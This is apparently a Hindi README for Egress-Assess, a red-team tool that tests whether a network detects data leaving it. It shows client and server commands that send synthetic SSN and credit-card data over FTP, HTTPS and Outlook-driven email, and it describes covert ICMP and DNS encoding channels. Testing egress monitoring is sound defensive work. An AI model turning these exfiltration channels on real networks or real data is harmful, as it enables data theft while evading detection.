
बहु-प्रोटोकॉल डेटा एक्सफ़िल्ट्रेशन परीक्षण उपकरण जो वास्तविक दुनिया के एग्रेस परिदृश्यों का अनुकरण करता है FTP, HTTP, HTTPS, DNS, ICMP, SMB, SMTP, और SFTP पर पहचान क्षमताओं को मान्य करने के लिए।
Egress-Assess एक उपकरण है जिसका उपयोग बहिर्गमन डेटा का पता लगाने की क्षमताओं का परीक्षण करने के लिए किया जाता है।
सेटअप के लिए, शामिल सेटअप स्क्रिप्ट चलाएँ, या निम्नलिखित करें:
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
ब्लॉग पोस्ट यहाँ उपलब्ध हैं:
Egress-Assess का सामान्य उपयोग इस उपकरण को दो स्थानों पर कॉपी करना है। एक स्थान सर्वर के रूप में कार्य करेगा, दूसरा क्लाइंट के रूप में। Egress-Assess FTP, HTTP, और HTTPS पर डेटा भेज सकता है।
FTP पर डेटा निकालने के लिए, आप पहले Egress-Assess के FTP सर्वर को "--server ftp" चुनकर और उपयोगकर्ता नाम और पासवर्ड प्रदान करके प्रारंभ करेंगे:
./Egress-Assess.py --server ftp --username testuser --password pass123
अब, क्लाइंट को कनेक्ट करने और FTP सर्वर पर डेटा भेजने के लिए, आप चला सकते हैं...
./Egress-Assess.py --client ftp --username testuser --password pass123 --ip 192.168.63.149 --datatype ssn
इसके अलावा, आप Egress-Assess को वेब सर्वर के रूप में सेट कर सकते हैं...
./Egress-Assess.py --server https
फिर, FTP सर्वर पर डेटा भेजने के लिए, और विशेष रूप से 15 मेगाबाइट क्रेडिट कार्ड डेटा भेजने के लिए, निम्नलिखित कमांड चलाएँ...
./Egress-Assess.py --client https --data-size 15 --ip 192.168.63.149 --datatype cc
अन्य ध्यान देने योग्य बातें:
SMTP - क्लाइंट एक मेल संदेश बनाता है जिसमें डेटा संदेश के मुख्य भाग में या यदि फ़ाइल है तो अनुलग्नक के रूप में रखा जाता है। फिर क्लाइंट पोर्ट 25 (या प्रदान किए गए वैकल्पिक पोर्ट) पर EgressAssess सर्वर से SMTP कनेक्शन बनाने का प्रयास करता है। SMTP सर्वर को प्रमाणीकरण की आवश्यकता नहीं होती है और वह आने वाले कनेक्शन को स्वीकार करता है और ईमेल को संसाधित करता है। मेल संदेश का प्रसंस्करण ईमेल के मुख्य भाग से या मेल संदेश में संलग्न फ़ाइल से डेटा लेता है। यह परीक्षण संगठन के ईमेल सर्वर के माध्यम से ईमेल भेजने का प्रयास नहीं करता है।
SMTP_Outlook – (यह मॉड्यूल केवल PowerShell क्लाइंट में उपलब्ध है)। यदि पहले से Outlook क्लाइंट कॉन्फ़िगर किया गया है, तो PowerShell क्लाइंट Outlook के लिए एक COM ऑब्जेक्ट बनाता है (इसके लिए उपयोगकर्ता को कॉन्फ़िगरेशन के आधार पर प्रमाणीकरण प्रदान करने की आवश्यकता हो सकती है)। फिर PowerShell क्लाइंट ईमेल के मुख्य भाग में डेटा के साथ या यदि फ़ाइल है तो अनुलग्नक के रूप में एक मेल संदेश बनाएगा। ईमेल पहले से कॉन्फ़िगर किए गए उपयोगकर्ता के रूप में Outlook से भेजे जाते हैं। (कुछ सुरक्षा सेटिंग्स उपयोगकर्ता को सूचित कर सकती हैं कि कोई प्रोग्राम पृष्ठभूमि में ईमेल भेजने का प्रयास कर रहा है और अनुमति देना आवश्यक है)। इस मॉड्यूल के काम करने के लिए EgressAssess सर्वर के लिए एक MX रिकॉर्ड बनाना होगा। EgressAssess SMTP सर्वर MX रिकॉर्ड के डोमेन पर भेजे गए सभी ईमेल संदेशों को स्वीकार करता है और फ़ाइल अनुलग्नकों या ईमेल के मुख्य भाग में परीक्षण के रूप में डेटा के साथ ईमेल प्राप्त करता है।
Invoke-EssessAgress -Client SMTPOutlook -IP <domain of SMTP Sever> -NoPing -DataType "ssn"
ICMP - डेटा को बाइट्स में तोड़ा जाता है और base64 एन्कोड किया जाता है और ICMP टाइप 8 ECHO अनुरोध में वायर पर भेजा जाता है। डेटा पैकेट के डेटा फ़ील्ड में रखा जाता है। ECHO अनुरोध लगातार EgressAssess सर्वर पर किए जाते हैं जो ICMP अनुरोध प्राप्त करता है और डेटा एकत्र करता है और उसे डीकोड करता है।
FTP - डेटा और फ़ाइलें सामान्य प्रोटोकॉल उपयोग के बाद EgressAssess FTP सर्वर पर अपलोड की जाती हैं। सर्वर तक पहुँचने के लिए उपयोगकर्ता नाम और पासवर्ड का उपयोग किया जाता है। ऊपर उदाहरण देखें।
SFTP - डेटा और फ़ाइलें SFTP प्रोटोकॉल का पालन करते हुए अपलोड की जाती हैं। सर्वर तक पहुँचने के लिए उपयोगकर्ता नाम और पासवर्ड का उपयोग किया जाता है।
HTTP(S) - डेटा और फ़ाइलें EgressAssess वेब सर्वर पर POST वेब अनुरोध के माध्यम से भेजी जाती हैं। Python क्लाइंट के लिए, डेटा http(s)://<IP या FQDN>/post_data.php पर पोस्ट किया जाता है और PowerShell क्लाइंट के लिए डेटा http(s)://<IP या FQDN>/posh_file.php पर पोस्ट किया जाता है।
SMB - EgressAssess सर्वर (Impacket के SimpleSMBserver का उपयोग करके) एक /TRANSFER SMB शेयर बनाता है। क्लाइंट सिस्टम बिना प्रमाणीकरण के शेयर से कनेक्ट होता है और फ़ाइल स्थानांतरित करता है। जैसे किसी नेटवर्क शेयर से कनेक्ट होकर फ़ाइल कॉपी करना। यदि वांछित हो तो प्रमाणीकरण के लिए उपयोगकर्ता नाम और पासवर्ड जोड़ने का विकल्प भी है। जैसा कि ऊपर बताया गया है, निर्धारित करें कि आप किस सिस्टम से बहिर्गमन कर रहे हैं और उनकी सुरक्षा नीतियाँ देखें कि क्या आप पुराने कमजोर SMBv1 का उपयोग कर सकते हैं या SMBv2 सक्षम करने की आवश्यकता है।
DNS_TXT - डेटा और फ़ाइलों को बाइट्स में तोड़ा जाता है, फिर base64 में परिवर्तित किया जाता है और अलग-अलग DNS TXT क्वेरी में विभाजित किया जाता है जो किसी IP पते या डोमेन नाम पर की जाती हैं। क्लाइंट सीधे EgressAssess सर्वर से कनेक्ट करने का प्रयास करता है और DNS TXT क्वेरी करता है। सर्वर पैकेट से डेटा को फ़िल्टर करता है और डेटा को डीकोड करता है। PowerShell क्लाइंट में Stacked क्वेरी के लिए एक विकल्प है। यह प्रत्येक DNS अनुरोध में सर्वर पर 7 TXT क्वेरी तक करेगा जिससे डेटा निकासी की गति बढ़ जाती है।
DNS_Resolved - डेटा और फ़ाइलों को बाइट्स में तोड़ा जाता है, फिर base64 में परिवर्तित किया जाता है। डेटा को फिर विभाजित किया जाता है और एक उपडोमेन को हल करने के लिए DNS अनुरोध के भाग के रूप में उपयोग किया जाता है। <encoded_data>.domain.com। इसके काम करने के लिए डोमेन के लिए EgressAssess सर्वर के लिए एक NS रिकॉर्ड सेटअप करना होगा। सभी DNS अनुरोध सिस्टम के सेट नेमसर्वर पर किए जाते हैं और अंततः पहले से सेटअप किए गए EgressAssess सर्वर तक पहुँचते हैं। EgressAssess सर्वर प्रत्येक अनुरोध से डेटा अनुभाग लेता है और फ़ाइल को वापस जोड़ता है।